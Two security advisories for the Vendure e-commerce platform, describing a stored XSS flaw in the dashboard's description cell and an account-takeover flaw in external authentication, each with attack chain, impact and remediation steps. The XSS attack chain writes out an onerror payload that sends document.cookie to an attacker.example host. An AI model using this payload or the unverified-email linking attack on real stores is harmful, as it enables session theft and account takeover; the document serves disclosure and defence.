The application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the innerHTML property of a detached div element. Because browsers parse and execute active markup within innerHTML - even in detached nodes - payloads such as <img> tags with onerror event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of @vendure/dashboard prior to 3.6.5.

Attack Chain

1. Attacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.
2. Attacker modifies a product, collection, or promotion entity description via the administrative API.
3. Attacker embeds a malicious payload within the description field using active markup, such as <img src=x onerror="fetch('https://attacker.example/'+document.cookie)">.
4. The application stores this malicious description string in the database as part of the entity configuration.
5. A high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.
6. The RichTextDescriptionCell component retrieves the malicious description and assigns it to a div element via innerHTML during the React rendering cycle.
7. The browser parses the <img> tag, fails to find the image source, and immediately executes the onerror JavaScript payload in the victim administrator's browser session.
8. The script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.

Impact

Successful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.

Recommendation

• Upgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable RichTextDescriptionCell implementation.
• Audit administrative activity logs for unexpected PATCH or POST requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.
• Implement Content Security Policy (CSP) headers to restrict unauthorized script execution and fetch requests within the administrative dashboard interface.
• If immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.

In deployments using custom AuthenticationStrategy implementations - specifically those that fail to validate the email_verified claim or improperly handle unverified email addresses - an attacker can register an account on an external provider using a victim's email address. When this attacker authenticates against the vulnerable Vendure instance, the application incorrectly binds the attacker's external identity to the pre-existing account belonging to the victim. This results in the attacker gaining full access to the victim's account, including PII, order history, and the ability to perform unauthorized transactions.

Attack Chain

1. Attacker identifies a Vendure instance configured with an external AuthenticationStrategy that does not enforce strict email verification.
2. Attacker creates an account on the external OIDC or OAuth provider using the target victim's email address (victim@example.com).
3. The external provider, not requiring rigorous verification, allows the registration.
4. Attacker initiates the authentication flow on the Vendure store using the external provider.
5. The external provider passes the email address victim@example.com to the Vendure ExternalAuthenticationService.
6. createCustomerAndUser identifies a pre-existing user account associated with victim@example.com.
7. The system silently links the attacker's ExternalAuthenticationMethod to the victim's account without checking the verified status.
8. Attacker logs in using the linked external provider and gains full access to the victim's account.

Impact

Successful exploitation leads to full account takeover, allowing attackers to read or modify victim PII, view private order histories, update shipping addresses, and place unauthorized orders on the victim's behalf. This vulnerability affects any Vendure deployment that utilizes external authentication strategies that accept unverified email claims.

Recommendation

1. Upgrade all Vendure instances to version 3.7.0 or later immediately to address CVE-2026-63472.
2. Audit all custom AuthenticationStrategy implementations to ensure they only set verified: true when the external identity provider has explicitly verified the email address ownership.
3. Implement logic within custom AuthenticationStrategy code to prevent silent linking of unverified external identities to existing accounts; require active user authentication or session verification before linking new external providers.